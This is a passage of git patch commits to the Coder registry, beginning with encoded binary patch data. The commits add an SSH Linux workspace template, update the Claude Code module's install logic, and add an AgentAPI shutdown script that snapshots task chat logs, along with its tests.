zDd)7XQm(dZrE_M_q3w$i$_>tDjZF)esV61XJ3{yNG{^ZH3;KBLo|hODXI|UC zV;r0E582K;UD9?z@$(ZApIo{@I*V>zk5}vQuodKn18}pz?f||3ZIuLy<>Ev2Rb%)|I5&SSe58VOn_T1hFMe@gzpPU zzbH@&E@@=g=k~;PQ`@@{3nYk?L4T!dCqumeyvEh%dj9VX==>#cpLXzwxkV-?K;?+v zy;FrxwNieKWsnYTN`XwZ)Ng;DLCr_*HgT?7q>_-j-YBb?W-TE+`* zJB;SPK|VJ4b55%$Qun|hohQmO4DbXW@r)$f`d`9%PR#!n(f=ENe^im{SorqU&6Xce zGZ<3Q?QNL14EXzY_1$$TD~0VX_t?eDD2ld6>SSl*wJ6RFw#Yfy#ikUlzq07BEPuoD zy?+Ss7pb^aD8{g9ehPJ5qVv0?>PGm?|NImQEU4hrShe2`fY|fa$t#hDF1MzR`6rfy{ z*yKs#fp>7~JDT~_(!aomCE%K6u0tvkrD-nYZRjhT^D%DMr=m&cqqz(=Hl;33JV1uJ zI(cK42EJa@SFp2=>{bcA-nXg^j&@;qU=FJxCeg(wZ<<6Qkw@Z4kMb=2_Yx-+u;Xsr zjwpJp$_;Ad+_1@YF^*HYR;U(GAqTo=4y%m|TFFO9czT!)<*%~y{=S;F=_Aagl&syB zX>Tc+Dc4hUc$9~HCNZqKd5T~ar0e$>TF`u1VZ7UOceJ@Fk@}bVBWd)DVth?=p9^7D ztN(*b_3^mg?tt=L)!K*UnuVrV-Cy~%sjD2rs_UoR0W*JBj-bFzX5-i@a0(8!_|dm- za;Z2UoYc8UcaS(_b-Ayk-LC{%1|Y!FlNUHw;8=b{xPhUZM|~na)9_oNGYh%aa~{eY zyWF>JK13x@`si3sx_^3zGd>Y4Mk0p|z`23!0nB8$)y5#r?c?L(-wua}R~l;bUvwV8 zCrK<9!I$^o9bB;M&_|WBck%UBplI=wqt32}-M&pPd!>-&!5^03QCXCDza0LkX2#_r zv7fwT*Y}+J>18w0w#Mej40&n~bp{^3Eh@YK3B?WySlijib<9N!{HM(^B~WoiFKg3Sb z(lC2piT^MT)<*g@$gr16cfm$TchQ%wXey{NNQk`-ctSc;#^SXV7<_|e2fn^gt@N{y1M#fpzD>~nH zew2W9SY)()ac|7zw@NhK!rO}Y*_Hb!ia~3wvp84_0Wi-AwSoPDbFL(uA|o-|FA{Bu zO|O74R(>|U+N4K-2Z|l=2^#-`sXrD_27KlXVg5Zyg1tXasPgfkKRzQdXDX|&DPjn7 z3Xg^sWj%jK;l`6OvAwck)nG{SL9HV34+{6sF{IO)CWZ*fcodg?`n=@%eHE%7$DWXM zi)nt`U+o*DVOhaXpyOG!U5=VSGs?vrKq9hbS`?G9(f zpZEf8bJ1A-whP)~b+>5}AU#W|v zViB(5M|7I3iqFz+FX~2_*|3 z1cK#d-wSS`!rCyez*K){6<+kVecTW7>r&%MIP*e-nm5lm7dY$!q{Q4;M5V=E>LW|t9aXD18*ze63pjd#xDvgm2JW&$(rN_VRFw>e;rDc0ZX2I zPwd(Uw;z{y(6V*iCJg^Zg}^a#T8OL%liw$0Mg3d*UXRiD`j>%&JOV(bv;Z6>^Wzk^ zxd+sruMQDYTFD)!yd1M=Tuk(F7l~tK^{%%hz{CheGBojL1jU6mBkR5s=Jj_ zbMxOt$^QSYqr>uU=aED9)uZvt8fObtzWh4XK-jU~ruJYcgmVH=D4w5_JVD%ZsD z816l~jyOn5jCmZohZq3O=l@;!a`CY0=3uO*#>@@6{4giv^CY)5Ul}yW&Afco/debug.log` on the remote host. +- **Agent Not Starting**: Inspect the log file at `~/.coder//coder.log` on the remote host for errors. +- **App Not Appearing**: Ensure the app is selected in parameters and the workspace is restarted if changes are made. +- **Validation Errors**: Parameters like host and port have built-in validations—ensure inputs match the requirements. + +For more advanced customization, refer to the [Coder Terraform provider documentation](https://registry.terraform.io/providers/coder/coder/latest/docs). diff --git a/registry/IamTaoChen/templates/ssh-linux/main.tf b/registry/IamTaoChen/templates/ssh-linux/main.tf new file mode 100644 index 00000000..42df9dce --- /dev/null +++ b/registry/IamTaoChen/templates/ssh-linux/main.tf @@ -0,0 +1,319 @@ +terraform { + required_providers { + coder = { + source = "coder/coder" + version = ">= 2.4.0" + } + random = { + source = "hashicorp/random" + version = ">= 3.6" + } + } +} + +provider "coder" {} +data "coder_workspace" "me" {} +data "coder_workspace_owner" "me" {} + + +data "coder_parameter" "host" { + description = "Remote Host or IP" + display_name = "Host" + name = "host" + type = "string" + default = "192.168.1.1" + mutable = false + order = 1 + validation { + regex = "^[a-zA-Z0-9:.%\\-]+$" + error = "Please enter a valid hostname, IPv4, or IPv6 address. Examples: example.com, 192.168.1.1, or fe80::1" + } +} + +data "coder_parameter" "username" { + default = data.coder_workspace_owner.me.name + description = "SSH Username" + display_name = "Username" + name = "username" + mutable = false + order = 2 +} + +data "coder_parameter" "auth_type" { + name = "auth_type" + display_name = "SSH Auth Type" + description = "Authentication method for SSH" + type = "string" + + form_type = "dropdown" + default = "password" + mutable = true + order = 3 + option { + name = "password" + value = "password" + } + + option { + name = "SSH Key Manual" + value = "ssh_key" + } + + option { + name = "SSH Key from Coder" + value = "ssh_key_coder" + } + +} + +data "coder_parameter" "ssh_password" { + count = data.coder_parameter.auth_type.value == "password" ? 1 : 0 + name = "ssh_password" + display_name = "SSH Password" + description = "Password for SSH login" + type = "string" + mutable = true + styling = jsonencode({ + mask_input = true + }) + order = 4 +} + +data "coder_parameter" "ssh_key" { + count = data.coder_parameter.auth_type.value == "ssh_key" ? 1 : 0 + name = "ssh_key" + display_name = "SSH Private Key" + description = "Paste SSH private key" + type = "string" + mutable = true + form_type = "textarea" + styling = jsonencode({ + mask_input = true + }) + order = 4 +} + +data "coder_parameter" "ssh_key_coder" { + count = data.coder_parameter.auth_type.value == "ssh_key_coder" ? 1 : 0 + name = "ssh_key_coder" + display_name = "Public Key From Coder" + description = "Add this public key to your remote server's authorized_keys: \n\n${data.coder_workspace_owner.me.ssh_public_key}" + default = "********************" + styling = jsonencode({ + disabled = true + mask_input = true + }) + order = 4 +} + + +data "coder_parameter" "port" { + default = 22 + description = "SSH Port" + display_name = "Port" + name = "port" + type = "number" + mutable = true + order = 5 + validation { + min = 1 + max = 65535 + error = "Port must be between 1 and 65535" + } +} + +data "coder_parameter" "apps" { + name = "apps" + display_name = "Choose any APPs for your workspace." + type = "list(string)" + form_type = "multi-select" + mutable = true + default = jsonencode(["VS Code Desktop"]) + dynamic "option" { + for_each = local.apps_candidate + content { + name = option.value + value = option.value + } + } +} + +locals { + username = data.coder_parameter.username.value + home_dir = "/home/${lower(local.username)}" + coder_cache_dir = "${local.home_dir}/.coder/${data.coder_workspace.me.id}" + agent_id_file = "${local.coder_cache_dir}/agent.id" + use_password = data.coder_parameter.auth_type.value == "password" + use_key = contains(["ssh_key", "ssh_key_coder"], data.coder_parameter.auth_type.value) + ssh_password = local.use_password ? data.coder_parameter.ssh_password[0].value : null + ssh_private_key = data.coder_parameter.auth_type.value == "ssh_key_coder" ? data.coder_workspace_owner.me.ssh_private_key : (length(data.coder_parameter.ssh_key) > 0 ? data.coder_parameter.ssh_key[0].value : null) + apps_candidate = ["VS Code Desktop", "VS Code Web", "Cursor"] + apps_selected = (can(data.coder_parameter.apps.value) && data.coder_parameter.apps.value != "") ? jsondecode(data.coder_parameter.apps.value) : [] +} + +resource "random_integer" "vs_code_port" { + min = 54000 + max = 55999 +} + +resource "coder_agent" "main" { + os = "linux" + arch = "amd64" + + startup_script = <<-EOT + #!/bin/bash + set -euo pipefail + EOT + + env = { + GIT_AUTHOR_NAME = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name) + GIT_AUTHOR_EMAIL = "${data.coder_workspace_owner.me.email}" + GIT_COMMITTER_NAME = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name) + GIT_COMMITTER_EMAIL = "${data.coder_workspace_owner.me.email}" + } + + display_apps { + port_forwarding_helper = true + vscode = contains(local.apps_selected, "VS Code Desktop") + vscode_insiders = false + web_terminal = true + ssh_helper = true + } + + metadata { + key = "cpu" + display_name = "CPU Usage" + interval = 5 + timeout = 5 + script = "coder stat cpu" + } + metadata { + key = "memory" + display_name = "Memory Usage" + interval = 5 + timeout = 5 + script = "coder stat mem" + } + metadata { + key = "disk" + display_name = "Home Disk Usage" + interval = 600 + timeout = 30 + script = "coder stat disk --path ${lower(local.home_dir)}" + } +} + +resource "null_resource" "deploy_coder_agent" { + count = data.coder_workspace.me.start_count + + triggers = { + init_script = sha256(coder_agent.main.init_script) + token = coder_agent.main.token + } + + connection { + type = "ssh" + host = data.coder_parameter.host.value + user = data.coder_parameter.username.value + port = data.coder_parameter.port.value + password = local.ssh_password + private_key = local.ssh_private_key + timeout = "5m" + } + + provisioner "remote-exec" { + inline = [ + "mkdir -p ${local.coder_cache_dir}", + "coder_sh=${local.coder_cache_dir}/coder.sh", + "log_file=${local.coder_cache_dir}/coder.log", + "cat > $coder_sh << 'EOF'", + "${coder_agent.main.init_script}", + "EOF", + "chmod +x $coder_sh", + "echo \"$(date) : create $coder_sh\" >> ${local.coder_cache_dir}/debug.log", + "nohup env CODER_AGENT_TOKEN='${coder_agent.main.token}' $coder_sh > $log_file 2>&1 &", + "echo $! > ${local.agent_id_file}", + "echo \"$(date) : run $coder_sh and log at $log_file\" >> ${local.coder_cache_dir}/debug.log", + ] + } +} + +resource "null_resource" "coder_stop" { + count = (try(data.coder_workspace.me.start_count, 1) > 0 ? 0 : 1) + + connection { + type = "ssh" + host = data.coder_parameter.host.value + user = data.coder_parameter.username.value + port = data.coder_parameter.port.value + password = local.ssh_password + private_key = local.ssh_private_key + timeout = "5m" + } + + provisioner "remote-exec" { + inline = [ + "set -u", + "PID_FILE=${local.agent_id_file}", + # Only proceed if PID file exists + "if [ -f \"$PID_FILE\" ]; then", + " PID=$(cat \"$PID_FILE\")", + # Check if it's actually a number and process exists + " if [ -n \"$PID\" ] && echo \"$PID\" | grep -q '^[0-9][0-9]*$' && kill -0 \"$PID\" 2>/dev/null; then", + " echo \"Gracefully stopping process $PID...\"", + # First try graceful termination + " kill -TERM \"$PID\" 2>/dev/null || true", + # Wait and check repeatedly (up to ~15 seconds total) + " for i in $(seq 1 15); do", + " sleep 1", + " if ! kill -0 \"$PID\" 2>/dev/null; then", + " echo \"Process $PID terminated gracefully\"", + " break", + " fi", + # Show we're still waiting (every 5 seconds) + " expr $i % 5 = 0 >/dev/null && echo \"Still waiting... ($i/15 seconds)\"", + " done", + # Final check - only kill -9 if still alive" + " if kill -0 \"$PID\" 2>/dev/null; then", + " echo \"Process $PID did not terminate in time - sending SIGKILL\"", + " kill -KILL \"$PID\" 2>/dev/null || true", + " fi", + " else", + " echo \"No running process found for PID $PID (or invalid PID)\"", + " fi", + " ", + # Clean lean up regardless of whether kill succeeded + " rm -f \"$PID_FILE\"", + " rm -rf ${local.coder_cache_dir} 2>/dev/null || true", + "else", + " echo \"PID file not found: $PID_FILE - nothing to clean up\"", + "fi", + "sync 2>/dev/null || true", + ] + } +} + + +module "coder-login" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/coder/coder-login/coder" + version = "1.1.1" + agent_id = coder_agent.main.id +} + +module "cursor" { + count = contains(local.apps_selected, "Cursor") ? data.coder_workspace.me.start_count : 0 + source = "registry.coder.com/coder/cursor/coder" + version = "1.4.0" + agent_id = coder_agent.main.id +} + +module "vscode-web" { + count = contains(local.apps_selected, "VS Code Web") ? data.coder_workspace.me.start_count : 0 + source = "registry.coder.com/coder/vscode-web/coder" + version = "1.4.3" + agent_id = coder_agent.main.id + folder = local.home_dir + port = random_integer.vs_code_port.result + accept_license = true +} From e4606c51f3caa79d941d59060e7f19484fc6e66c Mon Sep 17 00:00:00 2001 From: 35C4n0r <70096901+35C4n0r@users.noreply.github.com> Date: Thu, 29 Jan 2026 22:37:18 +0530 Subject: [PATCH 12/33] feat(coder/modules/claude-code): update claude to use binary installation for specific version pinning (#681) ## Description - Update claude-code module to use binary installation incase of specific version pinning unless use npm is specified. - Add a deprecation warning in the install script and readme for npm. ## Type of Change - [ ] New module - [ ] New template - [x] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/claude-code` **New version:** `v4.7.1` **Breaking change:** [ ] Yes [x] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues --- registry/coder/modules/claude-code/README.md | 25 +++++++++++-------- .../modules/claude-code/scripts/install.sh | 5 ++-- 2 files changed, 17 insertions(+), 13 deletions(-) diff --git a/registry/coder/modules/claude-code/README.md b/registry/coder/modules/claude-code/README.md index 984830f9..b27fe1e9 100644 --- a/registry/coder/modules/claude-code/README.md +++ b/registry/coder/modules/claude-code/README.md @@ -13,7 +13,7 @@ Run the [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.0" + version = "4.7.1" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_api_key = "xxxx-xxxxx-xxxx" @@ -47,7 +47,7 @@ By default, when `enable_boundary = true`, the module uses `coder boundary` subc ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.0" + version = "4.7.1" agent_id = coder_agent.main.id workdir = "/home/coder/project" enable_boundary = true @@ -68,7 +68,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.0" + version = "4.7.1" agent_id = coder_agent.main.id workdir = "/home/coder/project" enable_aibridge = true @@ -97,7 +97,7 @@ data "coder_task" "me" {} module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.0" + version = "4.7.1" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_api_key = "xxxx-xxxxx-xxxx" @@ -113,12 +113,15 @@ module "claude-code" { This example shows additional configuration options for version pinning, custom models, and MCP servers. > [!NOTE] -> When a specific `claude_code_version` (other than "latest") is provided, the module will install Claude Code via npm instead of the official installer. This allows for version pinning. The `claude_binary_path` variable can be used to specify where a pre-installed Claude binary is located. +> The `claude_binary_path` variable can be used to specify where a pre-installed Claude binary is located. + +> [!WARNING] +> **Deprecation Notice**: The npm installation method (`install_via_npm = true`) will be deprecated and removed in the next major release. Please use the default binary installation method instead. ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.0" + version = "4.7.1" agent_id = coder_agent.main.id workdir = "/home/coder/project" @@ -126,7 +129,7 @@ module "claude-code" { # OR claude_code_oauth_token = "xxxxx-xxxx-xxxx" - claude_code_version = "2.0.62" # Pin to a specific version (uses npm) + claude_code_version = "2.0.62" # Pin to a specific version claude_binary_path = "/opt/claude/bin" # Path to pre-installed Claude binary agentapi_version = "0.11.4" @@ -174,7 +177,7 @@ Run and configure Claude Code as a standalone CLI in your workspace. ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.0" + version = "4.7.1" agent_id = coder_agent.main.id workdir = "/home/coder/project" install_claude_code = true @@ -196,7 +199,7 @@ variable "claude_code_oauth_token" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.0" + version = "4.7.1" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_code_oauth_token = var.claude_code_oauth_token @@ -269,7 +272,7 @@ resource "coder_env" "bedrock_api_key" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.0" + version = "4.7.1" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "global.anthropic.claude-sonnet-4-5-20250929-v1:0" @@ -326,7 +329,7 @@ resource "coder_env" "google_application_credentials" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.0" + version = "4.7.1" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "claude-sonnet-4@20250514" diff --git a/registry/coder/modules/claude-code/scripts/install.sh b/registry/coder/modules/claude-code/scripts/install.sh index b8e4fba2..d87a83b7 100644 --- a/registry/coder/modules/claude-code/scripts/install.sh +++ b/registry/coder/modules/claude-code/scripts/install.sh @@ -93,8 +93,9 @@ function install_claude_code_cli() { return fi - # Use npm when install_via_npm is true or for specific version pinning - if [ "$ARG_INSTALL_VIA_NPM" = "true" ] || { [ -n "$ARG_CLAUDE_CODE_VERSION" ] && [ "$ARG_CLAUDE_CODE_VERSION" != "latest" ]; }; then + # Use npm when install_via_npm is true + if [ "$ARG_INSTALL_VIA_NPM" = "true" ]; then + echo "WARNING: npm installation method will be deprecated and removed in the next major release." echo "Installing Claude Code via npm (version: $ARG_CLAUDE_CODE_VERSION)" npm install -g "@anthropic-ai/claude-code@$ARG_CLAUDE_CODE_VERSION" echo "Installed Claude Code via npm. Version: $(claude --version || echo 'unknown')" From fa3019139422f6aa0211734d23b7a8ae0759f350 Mon Sep 17 00:00:00 2001 From: Mathias Fredriksson Date: Fri, 30 Jan 2026 09:31:04 +0200 Subject: [PATCH 13/33] feat(coder/modules/agentapi): add log snapshot capture on shutdown (#676) Captures the last 10 messages from AgentAPI when task workspaces stop, allowing users to view conversation history while the task is paused. The shutdown script fetches messages, builds a payload with last 10 messages, truncates to 64KB if needed (removes old messages first, then truncates content of the last message), and posts to the log snapshot endpoint. Gracefully handles non-task workspaces (skips), older Coder versions without the endpoint (logs and continues), and empty message sets. Enabled by default via task_log_snapshot variable. Task ID is automatically resolved from data.coder_task when available. Updates coder/internal#1257 --- registry/coder/modules/agentapi/README.md | 15 +- registry/coder/modules/agentapi/main.test.ts | 153 +++++++++++++ registry/coder/modules/agentapi/main.tf | 32 ++- .../agentapi/scripts/agentapi-shutdown.sh | 212 ++++++++++++++++++ .../coder/modules/agentapi/scripts/main.sh | 9 + .../testdata/agentapi-mock-shutdown.js | 84 +++++++ .../agentapi/testdata/coder-instance-mock.js | 61 +++++ 7 files changed, 564 insertions(+), 2 deletions(-) create mode 100644 registry/coder/modules/agentapi/scripts/agentapi-shutdown.sh create mode 100644 registry/coder/modules/agentapi/testdata/agentapi-mock-shutdown.js create mode 100644 registry/coder/modules/agentapi/testdata/coder-instance-mock.js diff --git a/registry/coder/modules/agentapi/README.md b/registry/coder/modules/agentapi/README.md index 954db1ce..06897d6b 100644 --- a/registry/coder/modules/agentapi/README.md +++ b/registry/coder/modules/agentapi/README.md @@ -16,7 +16,7 @@ The AgentAPI module is a building block for modules that need to run an AgentAPI ```tf module "agentapi" { source = "registry.coder.com/coder/agentapi/coder" - version = "2.0.0" + version = "2.1.0" agent_id = var.agent_id web_app_slug = local.app_slug @@ -49,6 +49,19 @@ module "agentapi" { } ``` +## Task log snapshot + +Captures the last 10 messages from AgentAPI when a task workspace stops. This allows viewing conversation history while the task is paused. + +To enable for task workspaces: + +```tf +module "agentapi" { + # ... other config + task_log_snapshot = true # default: true +} +``` + ## For module developers For a complete example of how to use this module, see the [Goose module](https://github.com/coder/registry/blob/main/registry/coder/modules/goose/main.tf). diff --git a/registry/coder/modules/agentapi/main.test.ts b/registry/coder/modules/agentapi/main.test.ts index 713335fd..20b47b1a 100644 --- a/registry/coder/modules/agentapi/main.test.ts +++ b/registry/coder/modules/agentapi/main.test.ts @@ -257,4 +257,157 @@ describe("agentapi", async () => { ); expect(agentApiStartLog).toContain("AGENTAPI_ALLOWED_HOSTS: *"); }); + + describe("shutdown script", async () => { + const setupMocks = async ( + containerId: string, + agentapiPreset: string, + httpCode: number = 204, + ) => { + const agentapiMock = await loadTestFile( + import.meta.dir, + "agentapi-mock-shutdown.js", + ); + const coderMock = await loadTestFile( + import.meta.dir, + "coder-instance-mock.js", + ); + + await writeExecutable({ + containerId, + filePath: "/usr/local/bin/mock-agentapi", + content: agentapiMock, + }); + + await writeExecutable({ + containerId, + filePath: "/usr/local/bin/mock-coder", + content: coderMock, + }); + + await execContainer(containerId, [ + "bash", + "-c", + `PRESET=${agentapiPreset} nohup node /usr/local/bin/mock-agentapi 3284 > /tmp/mock-agentapi.log 2>&1 &`, + ]); + + await execContainer(containerId, [ + "bash", + "-c", + `HTTP_CODE=${httpCode} nohup node /usr/local/bin/mock-coder 18080 > /tmp/mock-coder.log 2>&1 &`, + ]); + + await new Promise((resolve) => setTimeout(resolve, 1000)); + }; + + const runShutdownScript = async ( + containerId: string, + taskId: string = "test-task", + ) => { + const shutdownScript = await loadTestFile( + import.meta.dir, + "../scripts/agentapi-shutdown.sh", + ); + + await writeExecutable({ + containerId, + filePath: "/tmp/shutdown.sh", + content: shutdownScript, + }); + + return await execContainer(containerId, [ + "bash", + "-c", + `ARG_TASK_ID=${taskId} ARG_AGENTAPI_PORT=3284 CODER_AGENT_URL=http://localhost:18080 CODER_AGENT_TOKEN=test-token /tmp/shutdown.sh`, + ]); + }; + + test("posts snapshot with normal messages", async () => { + const { id } = await setup({ + moduleVariables: {}, + skipAgentAPIMock: true, + }); + + await setupMocks(id, "normal"); + const result = await runShutdownScript(id); + + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain("Retrieved 5 messages for log snapshot"); + expect(result.stdout).toContain("Log snapshot posted successfully"); + + const posted = await readFileContainer(id, "/tmp/snapshot-posted.json"); + const snapshot = JSON.parse(posted); + expect(snapshot.task_id).toBe("test-task"); + expect(snapshot.payload.messages).toHaveLength(5); + expect(snapshot.payload.messages[0].content).toBe("Hello"); + expect(snapshot.payload.messages[4].content).toBe("Great"); + }); + + test("truncates to last 10 messages", async () => { + const { id } = await setup({ + moduleVariables: {}, + skipAgentAPIMock: true, + }); + + await setupMocks(id, "many"); + const result = await runShutdownScript(id); + + expect(result.exitCode).toBe(0); + + const posted = await readFileContainer(id, "/tmp/snapshot-posted.json"); + const snapshot = JSON.parse(posted); + expect(snapshot.task_id).toBe("test-task"); + expect(snapshot.payload.messages).toHaveLength(10); + expect(snapshot.payload.messages[0].content).toBe("Message 6"); + expect(snapshot.payload.messages[9].content).toBe("Message 15"); + }); + + test("truncates huge message content", async () => { + const { id } = await setup({ + moduleVariables: {}, + skipAgentAPIMock: true, + }); + + await setupMocks(id, "huge"); + const result = await runShutdownScript(id); + + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain("truncating final message content"); + + const posted = await readFileContainer(id, "/tmp/snapshot-posted.json"); + const snapshot = JSON.parse(posted); + expect(snapshot.task_id).toBe("test-task"); + expect(snapshot.payload.messages).toHaveLength(1); + expect(snapshot.payload.messages[0].content).toContain( + "[...content truncated", + ); + }); + + test("skips gracefully when TASK_ID is empty", async () => { + const { id } = await setup({ + moduleVariables: {}, + skipAgentAPIMock: true, + }); + + const result = await runShutdownScript(id, ""); + + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain("No task ID, skipping log snapshot"); + }); + + test("handles 404 gracefully for older Coder versions", async () => { + const { id } = await setup({ + moduleVariables: {}, + skipAgentAPIMock: true, + }); + + await setupMocks(id, "normal", 404); + const result = await runShutdownScript(id); + + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain( + "Log snapshot endpoint not supported by this Coder version", + ); + }); + }); }); diff --git a/registry/coder/modules/agentapi/main.tf b/registry/coder/modules/agentapi/main.tf index 5c3ab9c4..6914be77 100644 --- a/registry/coder/modules/agentapi/main.tf +++ b/registry/coder/modules/agentapi/main.tf @@ -4,7 +4,7 @@ terraform { required_providers { coder = { source = "coder/coder" - version = ">= 2.12" + version = ">= 2.13" } } } @@ -18,6 +18,8 @@ data "coder_workspace" "me" {} data "coder_workspace_owner" "me" {} +data "coder_task" "me" {} + variable "web_app_order" { type = number description = "The order determines the position of app in the UI presentation. The lowest order is shown first and apps with equal order are sorted by name (ascending order)." @@ -126,6 +128,12 @@ variable "agentapi_port" { default = 3284 } +variable "task_log_snapshot" { + type = bool + description = "Capture last 10 messages when workspace stops for offline viewing while task is paused." + default = true +} + locals { # agentapi_subdomain_false_min_version_expr matches a semantic version >= v0.3.3. # Initial support was added in v0.3.1 but configuration via environment variable @@ -173,6 +181,7 @@ locals { // for backward compatibility. agentapi_chat_base_path = var.agentapi_subdomain ? "" : "/@${data.coder_workspace_owner.me.name}/${data.coder_workspace.me.name}.${var.agent_id}/apps/${var.web_app_slug}/chat" main_script = file("${path.module}/scripts/main.sh") + shutdown_script = file("${path.module}/scripts/agentapi-shutdown.sh") } resource "coder_script" "agentapi" { @@ -198,11 +207,32 @@ resource "coder_script" "agentapi" { ARG_POST_INSTALL_SCRIPT="$(echo -n '${local.encoded_post_install_script}' | base64 -d)" \ ARG_AGENTAPI_PORT='${var.agentapi_port}' \ ARG_AGENTAPI_CHAT_BASE_PATH='${local.agentapi_chat_base_path}' \ + ARG_TASK_ID='${try(data.coder_task.me.id, "")}' \ + ARG_TASK_LOG_SNAPSHOT='${var.task_log_snapshot}' \ /tmp/main.sh EOT run_on_start = true } +resource "coder_script" "agentapi_shutdown" { + agent_id = var.agent_id + display_name = "AgentAPI Shutdown" + icon = var.web_app_icon + run_on_stop = true + script = <<-EOT + #!/bin/bash + set -o pipefail + + echo -n '${base64encode(local.shutdown_script)}' | base64 -d > /tmp/agentapi-shutdown.sh + chmod +x /tmp/agentapi-shutdown.sh + + ARG_TASK_ID='${try(data.coder_task.me.id, "")}' \ + ARG_TASK_LOG_SNAPSHOT='${var.task_log_snapshot}' \ + ARG_AGENTAPI_PORT='${var.agentapi_port}' \ + /tmp/agentapi-shutdown.sh + EOT +} + resource "coder_app" "agentapi_web" { slug = var.web_app_slug display_name = var.web_app_display_name diff --git a/registry/coder/modules/agentapi/scripts/agentapi-shutdown.sh b/registry/coder/modules/agentapi/scripts/agentapi-shutdown.sh new file mode 100644 index 00000000..bbee7628 --- /dev/null +++ b/registry/coder/modules/agentapi/scripts/agentapi-shutdown.sh @@ -0,0 +1,212 @@ +#!/usr/bin/env bash +# AgentAPI shutdown script. +# +# Captures the last 10 messages from AgentAPI and posts them to Coder instance +# as a snapshot. This script is called during workspace shutdown to access +# conversation history for paused tasks. + +set -euo pipefail + +# Configuration (set via Terraform interpolation). +readonly TASK_ID="${ARG_TASK_ID:-}" +readonly TASK_LOG_SNAPSHOT="${ARG_TASK_LOG_SNAPSHOT:-true}" +readonly AGENTAPI_PORT="${ARG_AGENTAPI_PORT:-3284}" + +# Runtime environment variables. +readonly CODER_AGENT_URL="${CODER_AGENT_URL:-}" +readonly CODER_AGENT_TOKEN="${CODER_AGENT_TOKEN:-}" + +# Constants. +readonly MAX_PAYLOAD_SIZE=65536 # 64KB +readonly MAX_MESSAGE_CONTENT=57344 # 56KB +readonly MAX_MESSAGES=10 +readonly FETCH_TIMEOUT=5 +readonly POST_TIMEOUT=10 + +log() { + echo "$*" +} + +error() { + echo "Error: $*" >&2 +} + +fetch_and_build_messages_payload() { + local payload_file="$1" + local messages_url="http://localhost:${AGENTAPI_PORT}/messages" + + log "Fetching messages from AgentAPI on port $AGENTAPI_PORT" + + if ! curl -fsSL --max-time "$FETCH_TIMEOUT" "$messages_url" > "$payload_file"; then + error "Failed to fetch messages from AgentAPI (may not be running)" + return 1 + fi + + # Update messages field to keep only last N messages. + if ! jq --argjson n "$MAX_MESSAGES" '.messages |= .[-$n:]' < "$payload_file" > "${payload_file}.tmp"; then + error "Failed to select last $MAX_MESSAGES messages" + return 1 + fi + mv "${payload_file}.tmp" "$payload_file" + + return 0 +} + +truncate_messages_payload_to_size() { + local payload_file="$1" + local max_size="$2" + + while true; do + local size + size=$(wc -c < "$payload_file") + + if ((size <= max_size)); then + break + fi + + local count + count=$(jq '.messages | length' < "$payload_file") + + if ((count == 1)); then + # Down to last message, truncate its content keeping the tail. + log "Payload size $size bytes exceeds limit, truncating final message content" + + # Keep tail of content with truncation indicator, leaving room for JSON + # overhead. + if ! jq --argjson maxlen "$MAX_MESSAGE_CONTENT" '.messages[0].content |= (if length > $maxlen then "[...content truncated, showing last 56KB...]\n\n" + .[-$maxlen:] else . end)' < "$payload_file" > "${payload_file}.tmp"; then + error "Failed to truncate message content" + return 1 + fi + mv "${payload_file}.tmp" "$payload_file" + + # Verify the truncation was sufficient. + size=$(wc -c < "$payload_file") + if ((size > max_size)); then + error "Payload still too large after content truncation, giving up" + return 1 + fi + break + else + # More than one message, remove the oldest. + log "Payload size $size bytes exceeds limit, removing oldest message" + + if ! jq '.messages |= .[1:]' < "$payload_file" > "${payload_file}.tmp"; then + error "Failed to remove oldest message" + return 1 + fi + mv "${payload_file}.tmp" "$payload_file" + fi + done + + return 0 +} + +post_task_log_snapshot() { + local payload_file="$1" + local tmpdir="$2" + + local snapshot_url="${CODER_AGENT_URL}/api/v2/workspaceagents/me/tasks/${TASK_ID}/log-snapshot?format=agentapi" + local response_file="${tmpdir}/response.txt" + + log "Posting log snapshot to Coder instance" + + local http_code + if ! http_code=$(curl -sS -w "%{http_code}" -o "$response_file" \ + --max-time "$POST_TIMEOUT" \ + -X POST "$snapshot_url" \ + -H "Coder-Session-Token: $CODER_AGENT_TOKEN" \ + -H "Content-Type: application/json" \ + --data-binary "@$payload_file"); then + error "Failed to connect to Coder instance (curl failed)" + return 1 + fi + + if [[ $http_code == 204 ]]; then + log "Log snapshot posted successfully" + return 0 + elif [[ $http_code == 404 ]]; then + log "Log snapshot endpoint not supported by this Coder version, skipping" + return 0 + else + local response + response=$(cat "$response_file" 2> /dev/null || echo "") + error "Failed to post log snapshot (HTTP $http_code): $response" + return 1 + fi +} + +capture_task_log_snapshot() { + if [[ -z $TASK_ID ]]; then + log "No task ID, skipping log snapshot" + exit 0 + fi + + if [[ -z $CODER_AGENT_URL ]]; then + error "CODER_AGENT_URL not set, cannot capture log snapshot" + exit 1 + fi + + if [[ -z $CODER_AGENT_TOKEN ]]; then + error "CODER_AGENT_TOKEN not set, cannot capture log 